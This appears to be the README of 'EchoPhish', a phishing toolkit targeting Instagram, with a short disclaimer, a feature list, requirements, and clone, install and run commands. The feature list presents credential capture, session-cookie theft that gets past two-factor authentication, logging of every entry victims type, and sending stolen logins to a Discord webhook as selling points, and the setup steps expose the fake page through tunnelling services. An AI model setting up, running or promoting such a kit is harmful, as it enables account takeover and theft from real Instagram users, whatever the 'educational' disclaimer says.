EchoPhish

Disclaimer

Any actions and or activities related to EchoPhish is solely your responsibility. The misuse of this toolkit can result in criminal charges brought against the persons in question. The contributors will not be held responsible in the event any criminal charges be brought against any individuals misusing this toolkit to break the law.

This toolkit contains materials that can be potentially damaging or dangerous for social media. Refer to the laws in your province/country before accessing, using,or in any other way utilizing this in a wrong way.

This Tool is made for educational purposes only. Do not attempt to violate the law with anything contained here.

It only demonstrates "how phishing works". You shall not misuse the information to gain unauthorized access to someones social media. However you may try out this at your own risk.

EchoPhish tool is a phishing tool created specifically for Instagram. What makes this tool superior to others?

1. EchoPhish accepts login attempts only if the correct username and password are entered.

2. It steals cookies, allowing direct access to accounts with two-factor authentication enabled (provided the correct two-factor authentication code is also entered). It supports all types of two-factor authentication methods.

3. It records everything entered, whether correct or incorrect, into separate files in the "output" directory.

4. It can send correctly entered information to Discord via a webhook, eliminating the need to monitor the application screen.

Requiriments

1. Python3
2. Cloudflared
3. Nodejs
4. TunnelMole

Installation

git clone https://github.com/perviz19/EchoPhish.git
cd EchoPhish
pip install -r requirements.txt

Running the Code

chmod +x EchoPhish
./EchoPhish

Demo

EchoPhish_video_github.mp4